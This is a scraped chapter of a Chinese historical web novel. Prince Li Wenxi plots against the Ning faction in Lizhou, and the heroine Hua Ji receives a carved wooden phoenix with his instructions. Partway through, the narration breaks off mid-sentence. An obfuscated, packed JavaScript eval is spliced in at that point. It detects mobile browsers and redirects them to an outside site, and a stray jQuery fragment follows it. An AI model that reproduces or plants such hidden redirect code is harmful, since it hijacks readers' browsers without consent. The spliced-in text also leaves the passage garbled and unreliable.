64.第六十四章

作品:《从漕船女匠到水军统帅

    寅时三刻,漓州城东角楼下的鬼市正热闹。


    鬼市,午夜方开,天明而终。


    因开市的时间特殊,鬼味森然,无论是灯火昏暗的摊铺,还是往来穿梭的人影,都全无半点活人的气息,故此得名——鬼市。


    诸多无法被放在明面的交易在这里都能找到,表面上,鬼市与寻常集市没有什么不同,吃穿用度、金银珠宝、字画药材......照样应有尽有。


    只是鬼市自有不成文的规矩,买便买了,莫问来路。


    除了日常所见的这些,其他更为稀奇的鬼市也不是没有,只看买家是谁,卖家又是谁。


    漓州这种整个大绥朝数一数二的繁华都城,藏在市井阴暗处的鬼市并不少,但只东角楼下的这一条巷子,做的可都是大买卖。


    “爆单了!爆单了!”


    街巷最里端,蒸汽萦绕的羊汤铺子门口,店小二忽然高声吆喝了两句,黑漆漆的人潮应声汇集而去。


    果然,紧接着便又听那店小二大喊道:“今日爆单,所有羊汤,我家掌柜的请了。”


    东角楼下的东家羊汤,又叫过风汤,常年混迹在鬼市里的人,没有哪个是不知道的。


    过风汤顾名思义,好似那午夜的凉风,吹过桌前滚烫的羊汤,同一张桌落座的人,一碗羊汤喝下,天南海北,三教九流,各式各样的消息只要价钱谈好,便都可互通有无。


    而东家除了几碗羊汤钱可赚,买卖双方各自抽成,其中自然还有更多意想不到的财路。


    风过不留痕,所有消息一经离手,会流通向哪里便再不相关,买卖双方自此形同陌路。


    背离人潮的另一边,店小二刚送走的几个人其貌不扬,转眼便融入进了人群里,快步消失在巷子转角。


    新坐下来免费喝着羊汤的人,难免对东家新爆的大单嚼几嘴舌根,谁也不敢明着直接聊,问及具体是多少银两的大单时,只见知情人抬手比了一个数出来,周围跟着响起了一阵羡慕的唏嘘声。


    “哟,各位客官,夜深寒露重,羊汤还是趁热喝的好。”


    店小二一走一过间,不着痕迹地提醒,一桌人当即全部噤了声。


    铺子里只有极少数的几个人知道,刚做成的这一笔,关系的可都是身居高位的老爷们。


    漓州城的天又要变咯。


    王朝兴衰变,百姓事不知。


    穿梭于市井暗巷的小人物们,自有其微末却蓬勃的生命力,就像那城墙边的杂草,任你四季如何变幻,任风霜雨雪如何相逼,春风吹过,照样绿意繁茂。


    本该夜深人静的夜,此一处火把通明,连途经的打更人在看清门口站着的官兵时,都吓得浑身一阵哆嗦,赶忙快步绕开了。


    然而下一瞬,打更人在拐入转角后,忽地加快了脚步,径直朝高宅外围一处隐秘的墙角走去。


    长满了青苔的石砖被缓缓抬起,将更下一层的泥土拨开,一个精巧的机括露了出来。


    咚!


    机关开合的脆响,猛然回荡在寂静的密室内,李文晞与老师对视一眼,两人不约而同地回头,共同看去一处。


    “和我们猜的一样,漓州刺史余苍然果然是宁王的人。”范如芥取来字条看过,转手交与李文晞时开口说道。


    快速扫过一眼字条上的内容后,李文晞继续将视线放回到了面前的沙盘上。


    宁王,他那个惯会以仁义收买人心,从来杀人手不沾血的兄长。


    漓州,一开始连太子都以为是完全掌握在父皇手中的,只是时机未到,一直没急着动而已。


    不想,原来早就有人鹊巢鸠占。


    看来他这次能顺利来漓州,背后还真是比想象的还要艰难呢。


    边境水军连年失利,国库日渐空虚,漓州这块肥肉要动是早晚的事。


    近年来,皇权老迈,宁王与太子党争的势头愈演愈烈,整个朝局晦暗不明,而太子和宁王越是各自举荐,父皇就越不敢轻易派人前来,京中一直依仗的重臣更是轻易不敢动。


    这是一个绝佳的机会。


    偏临近的父皇寿宴筹备,也落在了太子头上。


    寿宴前夕,他与老师选好了既不追随太子,也不效忠宁王的官员,暗中放出消息,助推他们联手上奏,极言漓州之事是为内患,攘外必先安内,劝诫父皇定要大刀阔斧去其根源,刻不容缓。


    对于父皇,自是乐得顺水推舟,去了这块顽疾。


    能让父皇头疼的是人选。


    他需要将自己悄无声息地送去近前。


    晨王李文晞在谁眼中是草包,是纨绔都无所谓,但筹办寿宴一事,表面是太子督促,实则暗地里由他负责的事宜,桩桩件件父皇都需要知道。


    以及,他与太子并不和睦的事实,他也早向父皇暗示过多次。


    宴席之后,是例行的各皇子暗中奉上寿礼的环节,他这一年送出的,是一副自己作的画。


    画上,只一把木质的剑鞘。


    而在更早之前,面前针对漓州的沙盘便开始筹备了。


    水线沿途,漕帮几何,水贼几何,与漓州官员之间往来的脉络,漓州势力与京都权贵的交易,每年几大漕事运作的周期,民间可以争取的能人,供应一只大型船队所需要的财力、人力、物力,一旦他有了动作之后,能够调动和借用的势力......


    沙盘以水线为中心伸展向外,密密麻麻的网络缠绕,旗语标记,势力分割,人名、时间、银两......事无巨细,极尽详实,像是一片自茫茫大漠中,平地而起的绿洲。


    他人虽一直受困京都,但对漓州之事,却是已暗中筹备了整整三年。


    阴沟里的爬虫想要翻身,需要以不世之功,登天梯。


    大绥朝水上荣耀的崛起,是他唯一的机会。


    迈出的每一步将引发什么样的后果,京都里来压制他的人是谁,会选择住在哪一处院落,桩桩件件,任何一个细节都在计划之内。


    暗处蛰伏,不敢有一刻荒废。


    即便这一次错失机会,他也会立即爬起来,继续准备下一次。


    李文晞脸上沾染的鲜血,已经用湿帕子简单擦拭过一遍,此刻人长身立于沙盘边上,年轻俊雅的脸庞从容而专注。


    父皇愿意在这个时候拉他入局,定然也是要借此机会,用漓州的动荡,彻底弄清朝堂内,太子与宁王各自的势力分布究竟是怎样的。


    故此,漓州旧势力倾覆之后,新换上来的人,一定既不是太子的,也不是宁王的。


    虽因钦差一事与太子结仇在先,又有私动水军向上牵连在后,但他若是将漓州权力真正的归属告知,太子也定会重新站在他这一边。


    俯身在沙盘上几下翻动推演,不多时,他心中便确定了算计,转身,走向密室墙边的一处桌案。


    范如芥并未多言,一手背在身后,一手轻捋着胡须,跟了过去。


    事情既已决定,李文晞再无犹豫,字条上提笔,整齐堆叠的小字未有犹豫,一蹴而就。


    范如芥站在其身后看着,瞧见那部署的内容,不禁摇着头,心下暗暗慨叹。


    不愧是他教出来的学生啊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409466|190989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这心狠手辣又喜欢孤注一掷的脾性,跟他还真是一点都不一样。


    不过,眼前这个他因为赌气才冒险选中的皇子,意外地,大抵会是所有老师最喜欢的一种学生了。


    尧光他自小便是,老师给出分析和经验后,无论什么事他总要自己做决定,哪怕有时是错误的决定,他也会自行承担后果,然后吸取教训,下一次便不会再错。


    枯骨铺就的帝王之路,终究,需要他自己走过去。


    案前,待字迹干涸,将纸条仔细折好之后,李文晞又打开案下的小格,拿出来一个东西,同纸条放在了一起。


    再次回至院落中时,横铺的死尸们都被拖走,仆人们正在连夜清扫地上的血迹,约莫已经快至卯时,东方遥望,天际转眼成了更为柔和的蓝色。


    李文晞身披长袄立于廊下,正聚精会神地看着一只,停在树梢高处的飞鸟。


    天幕渐渐有了颜色,枝头梨花的一抹亮白终于也得以显露,纯粹皎洁而又生机勃勃。


    就像......


    曾经端坐树下的那个女子一样。


    绝地之下,拼尽浑身解数自救,他这些年都是这样过的。


    所有计划之外,唯一的变数,只有一个花棘。


    树梢上经停的鸟儿未过多久,便展翅向着高空飞去,李文晞觉得自己不过错了一下眼睛,就再也寻觅不到那一点转瞬而逝的黑影。


    他忽而有些怅然地低头,无奈浅笑了一下。


    怎么会,这么想她呢?


    黎明的曙光将露未露,忙碌的飞鸟已然先一步起航,自千家万户的高墙上方倏尔滑过,匆忙瞥过一道窗边静立的消瘦背影。


    自窗边离开的花棘,正准备先回房,后方院门处突然传来脚步声,短刀当即被她反手拔了出来。


    回头,却见是一名穿着宦官服饰的小太监站在那里。


    小太监眼见人已然看见了他,随即将手中端着的一个木匣放在地上后,匆匆便走了。


    花棘心有疑惑,但在认出太监的身份后,也大概有了一个猜测。


    小心将木匣拿起,打开后第一眼看见的,竟是一只木质的飞天凤凰。


    胡桃木颜色单一,无法将凤凰华丽的尾羽尽然展示,但雕工极致精湛,姿态舒展灵动间,亦可窥探出凤凰涅槃重生的威严。


    她盯着看了一会儿,不自觉地笑了。


    会这样送她东西的,除了那人,还能有谁。


    回房坐下,将木匣底部的字条缓缓展开,同先前的数张放在一起,它们都出自同一人之手。


    和那人阴沉虚伪的性情不同,他的字迹反而刚劲挺拔,如松柏般端正挺立,也是怪了。


    以往字条都是悄无声息地出现在窗格边,送信之人还从未现身过,虽然知道李文晞身份的特殊,但会派一个太监直接前来,到底有许多蹊跷。


    她把字条上的安排仔细又通读了几遍,确认针对千帆盟的计划并未改变,而且......


    叫她不得不承认的是,李文晞一手赏心悦目的字迹,总无端有一股安抚人心的力量。


    临动身的时间还早,她需要休息,走去床铺时,眼睛再度不受控制地扫过了,旁边衣架上挂着的一件长袍。


    雨夜里她披在身上的那一件,自此,就莫名留在了她的房中。


    长袍早已洗净,可奇怪地,每次从近旁走过,都还是能闻到那人身上特有的沉香味。


    一夜刀锋血染,外面天色逐渐大亮,床幔内的花棘不久便陷入浅眠。


    很快,又是一场硬仗。